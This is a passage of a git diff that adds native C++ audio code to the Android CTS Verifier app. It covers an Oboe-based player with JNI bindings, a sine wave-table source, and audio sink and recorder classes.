+void OboePlayer::onErrorAfterClose(AudioStream *oboeStream, oboe::Result error) {
+    __android_log_print(ANDROID_LOG_INFO, TAG, "==== onErrorAfterClose() error:%d", error);
+
+    startStream();
+}
+
+void OboePlayer::onErrorBeforeClose(AudioStream *, oboe::Result error) {
+    __android_log_print(ANDROID_LOG_INFO, TAG, "==== onErrorBeforeClose() error:%d", error);
+}
+
+StreamBase::Result OboePlayer::setupStream(int32_t channelCount, int32_t sampleRate, int32_t routeDeviceId) {
+    __android_log_print(ANDROID_LOG_INFO, TAG, "setupStream()");
+
+    oboe::Result result = oboe::Result::ErrorInternal;
+    if (mAudioStream != nullptr) {
+        return ERROR_INVALID_STATE;
+    } else {
+        std::lock_guard<std::mutex> lock(mStreamLock);
+
+        mChannelCount = channelCount;
+        mSampleRate = sampleRate;
+        mRouteDeviceId = routeDeviceId;
+
+        // Create an audio stream
+        AudioStreamBuilder builder;
+        builder.setChannelCount(mChannelCount);
+        builder.setSampleRate(mSampleRate);
+        builder.setCallback(this);
+        builder.setPerformanceMode(PerformanceMode::LowLatency);
+        builder.setSharingMode(SharingMode::Exclusive);
+        builder.setSampleRateConversionQuality(SampleRateConversionQuality::None);
+        builder.setDirection(Direction::Output);
+        switch (mSubtype) {
+        case SUB_TYPE_OBOE_AAUDIO:
+            builder.setAudioApi(AudioApi::AAudio);
+            break;
+
+        case SUB_TYPE_OBOE_OPENSL_ES:
+            builder.setAudioApi(AudioApi::OpenSLES);
+            break;
+
+        default:
+           return ERROR_INVALID_STATE;
+        }
+
+        if (mRouteDeviceId != ROUTING_DEVICE_NONE) {
+            builder.setDeviceId(mRouteDeviceId);
+        }
+
+        mAudioSource->init(getNumBufferFrames() , mChannelCount);
+
+        result = builder.openStream(mAudioStream);
+        if (result != oboe::Result::OK){
+            __android_log_print(
+                    ANDROID_LOG_ERROR,
+                    TAG,
+                    "openStream failed. Error: %s", convertToText(result));
+        } else {
+            // Reduce stream latency by setting the buffer size to a multiple of the burst size
+            // Note: this will fail with ErrorUnimplemented if we are using a callback with OpenSL ES
+            // See oboe::AudioStreamBuffered::setBufferSizeInFrames
+            // This doesn't affect the success of opening the stream.
+            int32_t desiredSize = mAudioStream->getFramesPerBurst() * kBufferSizeInBursts;
+            mAudioStream->setBufferSizeInFrames(desiredSize);
+        }
+    }
+
+    return OboeErrorToMegaAudioError(result);
+}
+
+//
+// JNI functions
+//
+#include <jni.h>
+
+#include <android/log.h>
+
+extern "C" {
+JNIEXPORT JNICALL jlong
+Java_org_hyphonate_megaaudio_player_OboePlayer_allocNativePlayer(
+    JNIEnv *env, jobject thiz, jlong native_audio_source, jint playerSubtype) {
+    __android_log_print(ANDROID_LOG_INFO, TAG, "teardownStream()");
+
+    return (jlong)new OboePlayer((AudioSource*)native_audio_source, playerSubtype);
+}
+
+JNIEXPORT jint JNICALL Java_org_hyphonate_megaaudio_player_OboePlayer_setupStreamN(
+        JNIEnv *env, jobject thiz, jlong native_player,
+        jint channel_count, jint sample_rate, jint routeDeviceId) {
+    __android_log_print(ANDROID_LOG_INFO, TAG,
+        "Java_org_hyphonate_megaaudio_playerOboePlayer_startStreamN()");
+
+    OboePlayer* player = (OboePlayer*)native_player;
+    return player->setupStream(channel_count, sample_rate, routeDeviceId);
+}
+
+JNIEXPORT int JNICALL Java_org_hyphonate_megaaudio_player_OboePlayer_teardownStreamN(
+        JNIEnv *env, jobject thiz, jlong native_player) {
+    __android_log_print(ANDROID_LOG_INFO, TAG,
+        "Java_org_hyphonate_megaaudio_player_OboePlayer_teardownStreamN()");
+
+    OboePlayer* player = (OboePlayer*)native_player;
+    return player->teardownStream();
+}
+
+JNIEXPORT JNICALL jint Java_org_hyphonate_megaaudio_player_OboePlayer_startStreamN(
+        JNIEnv *env, jobject thiz, jlong native_player, jint playerSubtype) {
+    __android_log_print(ANDROID_LOG_INFO, TAG,
+        "Java_org_hyphonate_megaaudio_playerOboePlayer_startStreamN()");
+
+    return ((OboePlayer*)(native_player))->startStream();
+}
+
+JNIEXPORT JNICALL jint
+Java_org_hyphonate_megaaudio_player_OboePlayer_stopN(JNIEnv *env, jobject thiz, jlong native_player) {
+     __android_log_print(ANDROID_LOG_INFO, TAG,
+         "Java_org_hyphonate_megaaudio_player_OboePlayer_stopN()");
+
+   return ((OboePlayer*)(native_player))->stopStream();
+}
+
+JNIEXPORT jint JNICALL
+Java_org_hyphonate_megaaudio_player_OboePlayer_getBufferFrameCountN(JNIEnv *env, jobject thiz,  jlong native_player) {
+    return ((OboePlayer*)(native_player))->getNumBufferFrames();
+}
+
+JNIEXPORT jint JNICALL Java_org_hyphonate_megaaudio_player_OboePlayer_getRoutedDeviceIdN(JNIEnv *env, jobject thiz, jlong native_player) {
+    return ((OboePlayer*)(native_player))->getRoutedDeviceId();
+}
+
+} // extern "C"
diff --git a/apps/CtsVerifier/jni/megaaudio/player/OboePlayer.h b/apps/CtsVerifier/jni/megaaudio/player/OboePlayer.h
new file mode 100644
index 0000000..e1bb598
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/OboePlayer.h
@@ -0,0 +1,38 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_PLAYER_OBOEPLAYER_H
+#define MEGA_PLAYER_OBOEPLAYER_H
+
+#include <oboe/Oboe.h>
+
+#include "Player.h"
+
+class OboePlayer : public Player, oboe::AudioStreamCallback {
+public:
+    OboePlayer(AudioSource* source, int playerSubtype);
+    virtual ~OboePlayer() {}
+
+    // Inherited from oboe::AudioStreamCallback
+    virtual oboe::DataCallbackResult onAudioReady(oboe::AudioStream *oboeStream, void *audioData,
+                                                    int32_t numFrames) override;
+    virtual void onErrorAfterClose(oboe::AudioStream *oboeStream, oboe::Result error) override;
+    virtual void onErrorBeforeClose(oboe::AudioStream * oboeStream, oboe::Result error) override;
+
+    virtual Result setupStream(int32_t channelCount, int32_t sampleRate, int32_t routeDeviceId) override;
+};
+
+#endif // MEGA_PLAYER_OBOEPLAYER_H
diff --git a/apps/CtsVerifier/jni/megaaudio/player/Player.h b/apps/CtsVerifier/jni/megaaudio/player/Player.h
new file mode 100644
index 0000000..be9ded3
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/Player.h
@@ -0,0 +1,33 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_PLAYER_PLAYER_H
+#define MEGA_PLAYER_PLAYER_H
+
+#include <OboeStream.h>
+
+class AudioSource;
+
+class Player: public OboeStream {
+public:
+    Player(AudioSource* source, int32_t subtype) : OboeStream(subtype), mAudioSource(source) {}
+    virtual ~Player() {}
+
+protected:
+    std::shared_ptr<AudioSource>    mAudioSource;
+};
+
+#endif // MEGA_PLAYER_PLAYER_H
diff --git a/apps/CtsVerifier/jni/megaaudio/player/SinAudioSource.cpp b/apps/CtsVerifier/jni/megaaudio/player/SinAudioSource.cpp
new file mode 100644
index 0000000..97bf4df
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/SinAudioSource.cpp
@@ -0,0 +1,39 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "SinAudioSource.h"
+
+SinAudioSource::SinAudioSource() : WaveTableSource() {
+    float* waveTbl = new float[DEFAULT_WAVETABLE_LENGTH];
+    WaveTableSource::genSinWave(waveTbl, DEFAULT_WAVETABLE_LENGTH);
+
+    WaveTableSource::setWaveTable(waveTbl, DEFAULT_WAVETABLE_LENGTH);
+}
+
+//
+// JNI functions
+//
+#include <jni.h>
+
+#include <android/log.h>
+
+extern "C" {
+JNIEXPORT JNICALL jlong Java_org_hyphonate_megaaudio_player_sources_SinAudioSourceProvider_allocNativeSource(
+        JNIEnv *env, jobject thiz) {
+    return (jlong)new SinAudioSource();
+}
+
+} // extern "C"
diff --git a/apps/CtsVerifier/jni/megaaudio/player/SinAudioSource.h b/apps/CtsVerifier/jni/megaaudio/player/SinAudioSource.h
new file mode 100644
index 0000000..f4dc410
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/SinAudioSource.h
@@ -0,0 +1,28 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_PLAYER_SINAUDIOSOURCE_H
+#define MEGA_PLAYER_SINAUDIOSOURCE_H
+
+#include "WaveTableSource.h"
+
+class SinAudioSource: public WaveTableSource {
+public:
+    SinAudioSource();
+};
+
+
+#endif // MEGA_PLAYER_SINAUDIOSOURCE_H
diff --git a/apps/CtsVerifier/jni/megaaudio/player/WaveTableSource.cpp b/apps/CtsVerifier/jni/megaaudio/player/WaveTableSource.cpp
new file mode 100644
index 0000000..30c38a4
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/WaveTableSource.cpp
@@ -0,0 +1,89 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <math.h>
+
+#include "WaveTableSource.h"
+
+/**
+ * Constructor. Sets up to play samples from the provided wave table.
+ * @param waveTbl Contains the samples defining a single cycle of the desired waveform.
+ */
+WaveTableSource::WaveTableSource() {
+    reset();
+}
+
+/**
+ * Calculates the "Nominal" frequency of the wave table.
+ */
+void WaveTableSource::calcFN() {
+    mFN = mSampleRate / (float)mNumWaveTableSamples;
+    mFNInverse = 1.0f / mFN;
+}
+
+int WaveTableSource::getNumChannels() {
+    return NUMCHANNELS_UNSPECIFIED;
+}
+
+int WaveTableSource::getEncoding() {
+    return ENCODING_FLOAT;
+}
+
+/**
+ * Fills the specified buffer with values generated from the wave table which will playback
+ * at the specified frequency.
+ *
+ * @param buffer The buffer to be filled.
+ * @param numFrames The number of frames of audio to provide.
+ * @param numChans The number of channels (in the buffer) required by the player.
+ * @return  The number of samples generated. Since we are generating a continuous periodic
+ * signal, this will always be <code>numFrames</code>.
+ */
+int WaveTableSource::pull(float* buffer, int numFrames, int numChans) {
+    float phaseIncr = mFreq * mFNInverse;
+    int outIndex = 0;
+    for (int frameIndex = 0; frameIndex < numFrames; frameIndex++) {
+        // 'mod' back into the waveTable
+        while (mSrcPhase >= (float)mNumWaveTableSamples) {
+            mSrcPhase -= (float)mNumWaveTableSamples;
+        }
+
+        // linear-interpolate
+        int srcIndex = (int)mSrcPhase;
+        float delta = mSrcPhase - (float)srcIndex;
+        float s0 = mWaveTable[srcIndex];
+        float s1 = mWaveTable[srcIndex + 1];
+        float value = s0 + ((s1 - s0) * delta);
+
+        // Put the same value in all channels.
+        for (int chanIndex = 0; chanIndex < numChans; chanIndex++) {
+            buffer[outIndex++] = value;
+        }
+
+        mSrcPhase += phaseIncr;
+    }
+
+    return numFrames;
+}
+
+/*
+ * Standard wavetable generators
+ */
+void WaveTableSource::genSinWave(float* buffer, int length) {
+    float incr = ((float)M_PI  * 2.0f) / (float)(length - 1);
+    for(int index = 0; index < length; index++) {
+        buffer[index] = sinf(index * incr);
+    }
+}
diff --git a/apps/CtsVerifier/jni/megaaudio/player/WaveTableSource.h b/apps/CtsVerifier/jni/megaaudio/player/WaveTableSource.h
new file mode 100644
index 0000000..9c66e62
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/WaveTableSource.h
@@ -0,0 +1,131 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_PLAYER_WAVETABLESOURCE_H
+#define MEGA_PLAYER_WAVETABLESOURCE_H
+
+#include <memory>
+
+#include "AudioSource.h"
+
+class WaveTableSource: public AudioSource {
+public:
+    /**
+     * Constructor. Sets up to play samples from the provided wave table.
+     * @param waveTbl Contains the samples defining a single cycle of the desired waveform.
+     */
+    WaveTableSource();
+
+    /**
+     * Sets up to play samples from the provided wave table.
+     * @param waveTbl Contains the samples defining a single cycle of the desired waveform.
+     *                This wave table contains a redundant sample in the last slot (== first slot)
+     *                to make the interpolation calculation simpler, so the logical length of
+     *                the wave table is one less than the length of the array.
+     * NOTE: WaveTableSource DOES NOT take ownership of the wave table. The user of WaveTableSource
+     * is responsible for managing the lifetime of othe wave table.
+     */
+    void setWaveTable(float* waveTable, int length) {
+        mWaveTable = waveTable;
+        mNumWaveTableSamples = length - 1;
+
+        calcFN();
+    }
+
+    /**
+     * Sets the playback sample rate for which samples will be generated.
+     * @param sampleRate
+     */
+    void setSampleRate(float sampleRate) {
+        mSampleRate = sampleRate;
+        calcFN();
+    }
+
+    /**
+     * Set the frequency of the output signal.
+     * @param freq  Signal frequency in Hz.
+     */
+    void setFreq(float freq) {
+        mFreq = freq;
+    }
+
+    /**
+     * Resets the playback position to the 1st sample.
+     */
+    void reset()  override {
+        mSrcPhase = 0.0f;
+    }
+
+    virtual int getNumChannels() override;
+
+    virtual int getEncoding() override;
+
+    /**
+     * Fills the specified buffer with values generated from the wave table which will playback
+     * at the specified frequency.
+     *
+     * @param buffer The buffer to be filled.
+     * @param numFrames The number of frames of audio to provide.
+     * @param numChans The number of channels (in the buffer) required by the player.
+     * @return  The number of samples generated. Since we are generating a continuous periodic
+     * signal, this will always be <code>numFrames</code>.
+     */
+    virtual int pull(float* buffer, int numFrames, int numChans) override;
+
+    /*
+     * Standard wavetable generators
+     */
+    static void genSinWave(float* buffer, int length);
+
+protected:
+    static const int DEFAULT_WAVETABLE_LENGTH = 2049;
+
+    /**
+     * Calculates the "Nominal" frequency of the wave table.
+     */
+    void calcFN();
+
+    /** The samples defining one cycle of the waveform to play */
+    //TODO - make this a shared_ptr
+    float*  mWaveTable;
+
+    /** The number of samples in the wave table. Note that the wave table is presumed to contain
+     * an "extra" sample (a copy of the 1st sample) in order to simplify the interpolation
+     * calculation. Thus, this value will be 1 less than the length of mWaveTable.
+     */
+    int mNumWaveTableSamples;
+
+    /** The phase (offset within the wave table) of the next output sample.
+     *  Note that this may (will) be a fractional value. Range 0.0 -> mNumWaveTableSamples.
+     */
+    float mSrcPhase;
+
+    /** The sample rate at which playback occurs */
+    float mSampleRate = 48000;  // This seems likely, but can be changed
+
+    /** The frequency of the generated audio signal */
+    float mFreq = 1000;         // Some reasonable default frequency
+
+    /** The "Nominal" frequency of the wavetable. i.e., the frequency that would be generated if
+     * each sample in the wave table was sent in turn to the output at the specified sample rate.
+     */
+    float mFN;
+
+    /** 1 / mFN. Calculated when mFN is set to avoid a division on each call to fill() */
+    float mFNInverse;
+};
+
+#endif // MEGA_PLAYER_WAVETABLESOURCE_H
diff --git a/apps/CtsVerifier/jni/megaaudio/recorder/AppCallbackAudioSink.cpp b/apps/CtsVerifier/jni/megaaudio/recorder/AppCallbackAudioSink.cpp
new file mode 100644
index 0000000..1f80091
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/recorder/AppCallbackAudioSink.cpp
@@ -0,0 +1,107 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <jni.h>
+
+#include <android/log.h>
+
+#include "AppCallbackAudioSink.h"
+
+static const char * const TAG = "AppCallbackAudioSink";
+
+AppCallbackAudioSink::AppCallbackAudioSink(JNIEnv *env, jobject callbackObj) {
+    jint rs = env->GetJavaVM(&mJVM);
+    mCallbackObj = env->NewGlobalRef(callbackObj);
+
+    jclass callbackClass = env->GetObjectClass(mCallbackObj);
+    mMIDonDataReady = env->GetMethodID(callbackClass, "onDataReady", "([FI)V");
+}
+
+void AppCallbackAudioSink::init(int numFrames, int numChannels) {
+    JNIEnv * env;
+    int getEnvStat = mJVM->GetEnv((void **)&env, JNI_VERSION_1_6);
+
+    if (getEnvStat == JNI_EDETACHED) {
+        int rs = mJVM->AttachCurrentThread(&env, NULL);
+    }
+
+    mAudioDataArrayLength = numChannels * numFrames;
+    mAudioDataArray = env->NewFloatArray(mAudioDataArrayLength);
+    mAudioDataArray = (jfloatArray)env->NewGlobalRef(mAudioDataArray);
+
+    if (getEnvStat == JNI_EDETACHED) {
+        mJVM->DetachCurrentThread();
+    }
+}
+
+void AppCallbackAudioSink::start() {
+}
+
+void AppCallbackAudioSink::stop() {
+    JNIEnv * env;
+    int getEnvStat = mJVM->GetEnv((void **)&env, JNI_VERSION_1_6);
+
+    if (getEnvStat == JNI_EDETACHED) {
+        int rs = mJVM->AttachCurrentThread(&env, NULL);
+    }
+
+    releaseJNIResources(env);
+
+    if (getEnvStat == JNI_EDETACHED) {
+        mJVM->DetachCurrentThread();
+    }
+}
+
+void AppCallbackAudioSink::push(float* audioData, int numFrames, int numChannels) {
+//    __android_log_print(ANDROID_LOG_INFO, TAG, "push(numFrames:%d, numChannels:%d)",
+//                        numFrames, numChannels);
+
+    // Get the local JNI env
+    JNIEnv * env;
+    int getEnvStat = mJVM->GetEnv((void **)&env, JNI_VERSION_1_6);
+
+    if (getEnvStat == JNI_EDETACHED) {
+        int rs = mJVM->AttachCurrentThread(&env, NULL);
+    }
+
+    // put the float* into a jfloatarray
+    env->SetFloatArrayRegion(mAudioDataArray, 0, mAudioDataArrayLength, audioData);
+    env->CallVoidMethod(mCallbackObj, mMIDonDataReady, mAudioDataArray, numFrames);
+
+    if (getEnvStat == JNI_EDETACHED) {
+        mJVM->DetachCurrentThread();
+    }
+}
+
+void AppCallbackAudioSink::releaseJNIResources(JNIEnv *env) {
+    env->DeleteGlobalRef(mCallbackObj);
+}
+
+extern "C" {
+JNIEXPORT jlong JNICALL
+Java_org_hyphonate_megaaudio_recorder_sinks_AppCallbackAudioSinkProvider_allocOboeSinkN(
+        JNIEnv *env, jobject thiz, jobject callback_obj) {
+    AppCallbackAudioSink* sink = new AppCallbackAudioSink(env, callback_obj);
+    return (jlong)sink;
+}
+
+JNIEXPORT void JNICALL
+Java_org_hyphonate_megaaudio_recorder_sinks_AppCallbackAudioSinkProvider_releaseJNIResourcesN(
+        JNIEnv *env, jobject thiz, jlong oboe_sink) {
+    AppCallbackAudioSink* sink = (AppCallbackAudioSink*)oboe_sink;
+    sink->releaseJNIResources(env);
+}
+
+} // extern "C"
diff --git a/apps/CtsVerifier/jni/megaaudio/recorder/AppCallbackAudioSink.h b/apps/CtsVerifier/jni/megaaudio/recorder/AppCallbackAudioSink.h
new file mode 100644
index 0000000..fc4dac9
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/recorder/AppCallbackAudioSink.h
@@ -0,0 +1,46 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef SMOKEPLAYER_APPCALLBACKAUDIOSINK_H
+#define SMOKEPLAYER_APPCALLBACKAUDIOSINK_H
+
+#include <jni.h>
+
+#include "AudioSink.h"
+
+class AppCallbackAudioSink: public AudioSink {
+public:
+    AppCallbackAudioSink(JNIEnv *env, jobject callbackObj);
+
+    virtual void init(int numFrames, int numChannels) override;
+    virtual void start() override;
+    virtual void stop() override;
+
+    virtual void push(float* audioData, int numFrames, int numChannels) override;
+
+    void releaseJNIResources(JNIEnv *env);
+
+private:
+    // JNI Stuff
+    JavaVM* mJVM;
+    jobject mCallbackObj;
+    jmethodID mMIDonDataReady;
+
+    jfloatArray mAudioDataArray;
+    int mAudioDataArrayLength;
+};
+
+#endif //SMOKEPLAYER_APPCALLBACKAUDIOSINK_H
diff --git a/apps/CtsVerifier/jni/megaaudio/recorder/AudioSink.h b/apps/CtsVerifier/jni/megaaudio/recorder/AudioSink.h
new file mode 100644
index 0000000..1d764a9
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/recorder/AudioSink.h
@@ -0,0 +1,31 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef SMOKEPLAYER_AUDIOSINK_H
+#define SMOKEPLAYER_AUDIOSINK_H
+
+class AudioSink {
+public:
+    virtual ~AudioSink() {}
+
+    virtual void init(int numFrames, int numChannels) {}
+    virtual void start() {}
+    virtual void stop() {}
+
+    virtual void push(float* audioData, int numFrames, int numChannels) = 0;
+};
+
+#endif //SMOKEPLAYER_AUDIOSINK_H
diff --git a/apps/CtsVerifier/jni/megaaudio/recorder/DefaultAudioSink.cpp b/apps/CtsVerifier/jni/megaaudio/recorder/DefaultAudioSink.cpp
new file mode 100644
index 0000000..07d4325
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/recorder/DefaultAudioSink.cpp
@@ -0,0 +1,32 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <android/log.h>
+
+#include "DefaultAudioSink.h"
+
+static const char * const TAG = "DefaultAudioSink";
+
+void DefaultAudioSink::start() {
+
+}
+
+void DefaultAudioSink::stop() {
+
+}
+
+void DefaultAudioSink::push(float* audioData, int numChannels, int numFrames) {
+    __android_log_print(ANDROID_LOG_INFO, TAG, "process()");
+}
diff --git a/apps/CtsVerifier/jni/megaaudio/recorder/DefaultAudioSink.h b/apps/CtsVerifier/jni/megaaudio/recorder/DefaultAudioSink.h
new file mode 100644
index 0000000..a0e9ed4
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/recorder/DefaultAudioSink.h
@@ -0,0 +1,29 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_RECORDER_DEFAULTAUDIOSINK_H
+#define MEGA_RECORDER_DEFAULTAUDIOSINK_H
+
+#include "AudioSink.h"
+
+class DefaultAudioSink: public AudioSink {
+    virtual void start();
+    virtual void stop();
+
+    virtual void push(float* audioData, int numChannels, int numFrames) ;
+};
+
+#endif // EGA_RECORDER_DEFAULTAUDIOSINK_H
diff --git a/apps/CtsVerifier/jni/megaaudio/recorder/NativeAudioSink.cpp b/apps/CtsVerifier/jni/megaaudio/recorder/NativeAudioSink.cpp
new file mode 100644
index 0000000..7de76c8
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/recorder/NativeAudioSink.cpp
@@ -0,0 +1,62 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+
+#include "AudioSink.h"
+
+//TODO - Probably wrap the JNI handling in a class with a pointer held in the Java Object
+// so as to support multiple instances... maybe.
+
+// JNI Stuff
+static float* sAudioBuffer;
+
+extern "C" {
+JNIEXPORT void JNICALL
+Java_org_hyphonate_megaaudio_recorder_NativeAudioSink_initN(JNIEnv * env , jobject thiz,
+        jlong native_sink_ptr , jint num_frames, jint num_chans ) {
+    sAudioBuffer = new float[num_frames * num_chans];
+
+    // this is in the wrong place, or rather we need an init() method of AudioSink to call.
+    AudioSink* sink = (AudioSink*)native_sink_ptr;
+    sink->init(num_frames, num_chans);
+}
+
+JNIEXPORT void JNICALL
+Java_org_hyphonate_megaaudio_recorder_NativeAudioSink_startN(JNIEnv *env, jobject thiz, jlong native_sink_ptr) {
+    AudioSink* sink = (AudioSink*)native_sink_ptr;
+    sink->start();
+}
+
+JNIEXPORT void JNICALL
+Java_org_hyphonate_megaaudio_recorder_NativeAudioSink_stopN(JNIEnv *env, jobject thiz, jlong native_sink_ptr) {
+    AudioSink* sink = (AudioSink*)native_sink_ptr;
+    sink->stop();
+}
+
+JNIEXPORT void JNICALL
+Java_org_hyphonate_megaaudio_recorder_NativeAudioSink_pushN(
+        JNIEnv *env, jobject thiz, jlong native_sink_ptr,
+        jfloatArray audio_data, jint num_frames, jint num_chans) {
+        AudioSink * audioSink = (AudioSink*)native_sink_ptr;
+
+    // convert to float[]
+    float* nativeAudioData = env->GetFloatArrayElements(audio_data, 0);
+
+    audioSink->push(nativeAudioData, num_frames, num_chans);
+}
+
+} // extern "C"
diff --git a/apps/CtsVerifier/jni/megaaudio/recorder/OboeRecorder.cpp b/apps/CtsVerifier/jni/megaaudio/recorder/OboeRecorder.cpp
new file mode 100644
index 0000000..8d249f1
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/recorder/OboeRecorder.cpp
@@ -0,0 +1,175 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <android/log.h>
+
+#include "OboeRecorder.h"
+
+#include "AudioSink.h"
+
+static const char * const TAG = "OboeRecorder(native)";
+
+using namespace oboe;
+
+constexpr int32_t kBufferSizeInBursts = 2; // Use 2 bursts as the buffer size (double buffer)
+
+OboeRecorder::OboeRecorder(AudioSink* sink, int32_t subtype)
+        : Recorder(sink, subtype),
+          mInputPreset(-1)
+{}
+
+//
+// State
+//
